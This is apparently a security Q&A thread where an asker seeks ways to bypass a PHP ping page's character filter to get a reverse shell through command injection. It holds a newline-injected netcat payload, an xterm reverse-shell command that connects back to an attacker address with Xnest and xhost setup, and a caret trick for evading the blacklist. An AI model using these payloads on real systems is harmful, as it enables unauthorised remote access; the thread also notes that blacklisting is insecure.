2

I am testing a PHP webapp that provides a ping function. I have tried different command injection methods and found that it accepts only %0a with simple command injection like ls or id

However the code is filtering many characters such as | & ; ( " / > ’ which are required to execute a reverse shell. Like nc -e /bin/bash.

Any suggestions on how to bypass this filter?

Improve this question
5
  • Have you tried to encode the characters into bytes and passing these? As %0a is accepted, other characters may be accepted if encoded the same way. It's hard to provide an accurate answer without being able to do any fuzzing or looking at input/output. – GxTruth Jul 9 '18 at 11:24
  • @sixtiethocean could give us the exact characters and special characters that are filtered by the application? – Lucian Nitescu Jul 9 '18 at 12:03
  • Filtered characters: | & ; ( " / > ' Working characters: . - , [ { – sixtiethocean Jul 9 '18 at 12:07
  • $IP%0a nc -nv $IP 1234 -----> command injection is working but it result in just nc chat shell – sixtiethocean Jul 9 '18 at 12:09
  • 1
    @sixtiethocean this is not a penetration test so please do not keep adding that tag to the question – schroeder♦ Jul 9 '18 at 12:23
2

Using xterm

One of the simplest forms of reverse shells is an xterm session. The following command should be run on the target. It will try to connect back to your system (e.g. 10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to your system (command also run on your system):

xhost +targetip

Consider blacklisting as a failure to be secure.

Blacklisting of characters is not secure and you should consider bypassing the list itself.

By example: ^| is not | but it does the job.

Improve this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.